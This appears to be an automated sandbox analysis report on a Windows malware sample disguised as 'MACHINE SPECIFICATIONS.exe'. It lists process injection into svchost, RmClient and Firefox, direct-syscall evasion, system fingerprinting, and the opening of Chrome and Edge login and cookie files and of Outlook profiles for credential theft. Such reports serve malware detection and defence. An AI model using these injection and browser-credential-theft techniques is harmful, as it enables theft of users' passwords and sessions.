Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C56962 mov eax, dword ptr fs:[00000030h]		2_2_03C56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C7096E mov eax, dword ptr fs:[00000030h]		2_2_03C7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C7096E mov edx, dword ptr fs:[00000030h]		2_2_03C7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C7096E mov eax, dword ptr fs:[00000030h]		2_2_03C7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD4978 mov eax, dword ptr fs:[00000030h]		2_2_03CD4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD4978 mov eax, dword ptr fs:[00000030h]		2_2_03CD4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBC97C mov eax, dword ptr fs:[00000030h]		2_2_03CBC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE908 mov eax, dword ptr fs:[00000030h]		2_2_03CAE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE908 mov eax, dword ptr fs:[00000030h]		2_2_03CAE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBC912 mov eax, dword ptr fs:[00000030h]		2_2_03CBC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C28918 mov eax, dword ptr fs:[00000030h]		2_2_03C28918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C28918 mov eax, dword ptr fs:[00000030h]		2_2_03C28918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB892A mov eax, dword ptr fs:[00000030h]		2_2_03CB892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC892B mov eax, dword ptr fs:[00000030h]		2_2_03CC892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5E8C0 mov eax, dword ptr fs:[00000030h]		2_2_03C5E8C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFA8E4 mov eax, dword ptr fs:[00000030h]		2_2_03CFA8E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6C8F9 mov eax, dword ptr fs:[00000030h]		2_2_03C6C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6C8F9 mov eax, dword ptr fs:[00000030h]		2_2_03C6C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C30887 mov eax, dword ptr fs:[00000030h]		2_2_03C30887
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBC89D mov eax, dword ptr fs:[00000030h]		2_2_03CBC89D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C42840 mov ecx, dword ptr fs:[00000030h]		2_2_03C42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C60854 mov eax, dword ptr fs:[00000030h]		2_2_03C60854
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C34859 mov eax, dword ptr fs:[00000030h]		2_2_03C34859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C34859 mov eax, dword ptr fs:[00000030h]		2_2_03C34859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBE872 mov eax, dword ptr fs:[00000030h]		2_2_03CBE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBE872 mov eax, dword ptr fs:[00000030h]		2_2_03CBE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC6870 mov eax, dword ptr fs:[00000030h]		2_2_03CC6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC6870 mov eax, dword ptr fs:[00000030h]		2_2_03CC6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBC810 mov eax, dword ptr fs:[00000030h]		2_2_03CBC810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C52835 mov eax, dword ptr fs:[00000030h]		2_2_03C52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C52835 mov eax, dword ptr fs:[00000030h]		2_2_03C52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C52835 mov eax, dword ptr fs:[00000030h]		2_2_03C52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C52835 mov ecx, dword ptr fs:[00000030h]		2_2_03C52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C52835 mov eax, dword ptr fs:[00000030h]		2_2_03C52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C52835 mov eax, dword ptr fs:[00000030h]		2_2_03C52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6A830 mov eax, dword ptr fs:[00000030h]		2_2_03C6A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD483A mov eax, dword ptr fs:[00000030h]		2_2_03CD483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD483A mov eax, dword ptr fs:[00000030h]		2_2_03CD483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C32FC8 mov eax, dword ptr fs:[00000030h]		2_2_03C32FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C32FC8 mov eax, dword ptr fs:[00000030h]		2_2_03C32FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C32FC8 mov eax, dword ptr fs:[00000030h]		2_2_03C32FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C32FC8 mov eax, dword ptr fs:[00000030h]		2_2_03C32FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2EFD8 mov eax, dword ptr fs:[00000030h]		2_2_03C2EFD8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2EFD8 mov eax, dword ptr fs:[00000030h]		2_2_03C2EFD8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2EFD8 mov eax, dword ptr fs:[00000030h]		2_2_03C2EFD8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4CFE0 mov eax, dword ptr fs:[00000030h]		2_2_03C4CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4CFE0 mov eax, dword ptr fs:[00000030h]		2_2_03C4CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C70FF6 mov eax, dword ptr fs:[00000030h]		2_2_03C70FF6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C70FF6 mov eax, dword ptr fs:[00000030h]		2_2_03C70FF6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C70FF6 mov eax, dword ptr fs:[00000030h]		2_2_03C70FF6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C70FF6 mov eax, dword ptr fs:[00000030h]		2_2_03C70FF6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D04FE7 mov eax, dword ptr fs:[00000030h]		2_2_03D04FE7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE6FF7 mov eax, dword ptr fs:[00000030h]		2_2_03CE6FF7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6CF80 mov eax, dword ptr fs:[00000030h]		2_2_03C6CF80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C62F98 mov eax, dword ptr fs:[00000030h]		2_2_03C62F98
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C62F98 mov eax, dword ptr fs:[00000030h]		2_2_03C62F98
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB4F40 mov eax, dword ptr fs:[00000030h]		2_2_03CB4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB4F40 mov eax, dword ptr fs:[00000030h]		2_2_03CB4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB4F40 mov eax, dword ptr fs:[00000030h]		2_2_03CB4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB4F40 mov eax, dword ptr fs:[00000030h]		2_2_03CB4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD4F42 mov eax, dword ptr fs:[00000030h]		2_2_03CD4F42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2CF50 mov eax, dword ptr fs:[00000030h]		2_2_03C2CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2CF50 mov eax, dword ptr fs:[00000030h]		2_2_03C2CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2CF50 mov eax, dword ptr fs:[00000030h]		2_2_03C2CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2CF50 mov eax, dword ptr fs:[00000030h]		2_2_03C2CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2CF50 mov eax, dword ptr fs:[00000030h]		2_2_03C2CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2CF50 mov eax, dword ptr fs:[00000030h]		2_2_03C2CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6CF50 mov eax, dword ptr fs:[00000030h]		2_2_03C6CF50

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B781F7 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00B781F7

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B4A395 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_00B4A395
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B4A364 SetUnhandledExceptionFilter,		0_2_00B4A364

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtSetInformationThread: Direct from: 0x77D62B4C			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtReadVirtualMemory: Direct from: 0x77D62E8C			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtCreateKey: Direct from: 0x77D62C6C			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtQueryAttributesFile: Direct from: 0x77D62E6C			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtQuerySystemInformation: Direct from: 0x77D648CC			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtQueryVolumeInformationFile: Direct from: 0x77D62F2C			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtAllocateVirtualMemory: Direct from: 0x77D648EC			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtOpenSection: Direct from: 0x77D62E0C			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtDeviceIoControlFile: Direct from: 0x77D62AEC			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtQuerySystemInformation: Direct from: 0x77D62DFC			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtReadFile: Direct from: 0x77D62ADC			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtDelayExecution: Direct from: 0x77D62DDC			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtQueryInformationProcess: Direct from: 0x77D62C26			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtResumeThread: Direct from: 0x77D62FBC			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtWriteVirtualMemory: Direct from: 0x77D6490C			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtCreateUserProcess: Direct from: 0x77D6371C			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtClose: Direct from: 0x77D62B6C
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtAllocateVirtualMemory: Direct from: 0x77D63C9C			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtSetInformationProcess: Direct from: 0x77D62C5C			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtProtectVirtualMemory: Direct from: 0x77D62F9C			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtNotifyChangeKey: Direct from: 0x77D63C2C			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtWriteVirtualMemory: Direct from: 0x77D62E3C			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtSetInformationThread: Direct from: 0x77D563F9			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtCreateMutant: Direct from: 0x77D635CC			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtResumeThread: Direct from: 0x77D636AC			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtMapViewOfSection: Direct from: 0x77D62D1C			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtProtectVirtualMemory: Direct from: 0x77D57B2E			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtAllocateVirtualMemory: Direct from: 0x77D62BFC			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtAllocateVirtualMemory: Direct from: 0x77D62BEC			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtQueryInformationToken: Direct from: 0x77D62CAC			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtCreateFile: Direct from: 0x77D62FEC			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtOpenFile: Direct from: 0x77D62DCC			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtTerminateThread: Direct from: 0x77D62FCC			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	NtOpenKeyEx: Direct from: 0x77D62B9C			Jump to behavior

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe protection: execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\RmClient.exe protection: execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: NULL target: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe protection: read write			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: NULL target: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe protection: execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write			Jump to behavior

Source: C:\Windows\SysWOW64\RmClient.exe

Thread register set: target process: 2724

Jump to behavior

Source: C:\Windows\SysWOW64\RmClient.exe

Thread APC queued: target process: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe

Jump to behavior

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 314E008

Jump to behavior

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B78C93 LogonUserW,

0_2_00B78C93

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B23B4C GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00B23B4C

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B24A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_00B24A35

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B84EF5 mouse_event,

0_2_00B84EF5

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe"			Jump to behavior
Source: C:\Program Files (x86)\SyXPwcovsgyBnimAncDWTfeZLAHUZFFTDxcJNDvPtVVtbugvUDzQfRJdWsqklD\IexMqt2DaKEZyYvnrd.exe	Process created: C:\Windows\SysWOW64\RmClient.exe "C:\Windows\SysWOW64\RmClient.exe"			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"			Jump to behavior

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B781F7 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00B781F7

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B84C03 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00B84C03

Source: MACHINE SPECIFICATIONS.exe	Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: IexMqt2DaKEZyYvnrd.exe, 00000003.00000002.3360494650.0000000000C71000.00000002.00000001.00040000.00000000.sdmp, IexMqt2DaKEZyYvnrd.exe, 00000003.00000000.942752122.0000000000C70000.00000002.00000001.00040000.00000000.sdmp, IexMqt2DaKEZyYvnrd.exe, 00000006.00000002.3361002496.00000000018E1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: MACHINE SPECIFICATIONS.exe, IexMqt2DaKEZyYvnrd.exe, 00000003.00000002.3360494650.0000000000C71000.00000002.00000001.00040000.00000000.sdmp, IexMqt2DaKEZyYvnrd.exe, 00000003.00000000.942752122.0000000000C70000.00000002.00000001.00040000.00000000.sdmp, IexMqt2DaKEZyYvnrd.exe, 00000006.00000002.3361002496.00000000018E1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: IexMqt2DaKEZyYvnrd.exe, 00000003.00000002.3360494650.0000000000C71000.00000002.00000001.00040000.00000000.sdmp, IexMqt2DaKEZyYvnrd.exe, 00000003.00000000.942752122.0000000000C70000.00000002.00000001.00040000.00000000.sdmp, IexMqt2DaKEZyYvnrd.exe, 00000006.00000002.3361002496.00000000018E1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: IexMqt2DaKEZyYvnrd.exe, 00000003.00000002.3360494650.0000000000C71000.00000002.00000001.00040000.00000000.sdmp, IexMqt2DaKEZyYvnrd.exe, 00000003.00000000.942752122.0000000000C70000.00000002.00000001.00040000.00000000.sdmp, IexMqt2DaKEZyYvnrd.exe, 00000006.00000002.3361002496.00000000018E1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Language, Device and Operating System Detection

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B4886B cpuid

0_2_00B4886B

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B550D7 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00B550D7

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B62230 GetUserNameW,

0_2_00B62230

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B5418A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_00B5418A

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B24AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00B24AFE

Stealing of Sensitive Information

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1023946734.00000000074E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3363348707.0000000005670000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3361296976.0000000000800000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3361185942.00000000007B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1017720914.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3359220364.0000000000110000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3361032659.0000000002300000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1021306624.0000000003FE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\RmClient.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Windows\SysWOW64\RmClient.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies			Jump to behavior

Source: C:\Windows\SysWOW64\RmClient.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Jump to behavior

Source: MACHINE SPECIFICATIONS.exe	Binary or memory string: WIN_81
Source: MACHINE SPECIFICATIONS.exe	Binary or memory string: WIN_XP
Source: MACHINE SPECIFICATIONS.exe	Binary or memory string: WIN_XPe
Source: MACHINE SPECIFICATIONS.exe	Binary or memory string: WIN_VISTA
Source: MACHINE SPECIFICATIONS.exe	Binary or memory string: WIN_7
Source: MACHINE SPECIFICATIONS.exe	Binary or memory string: WIN_8
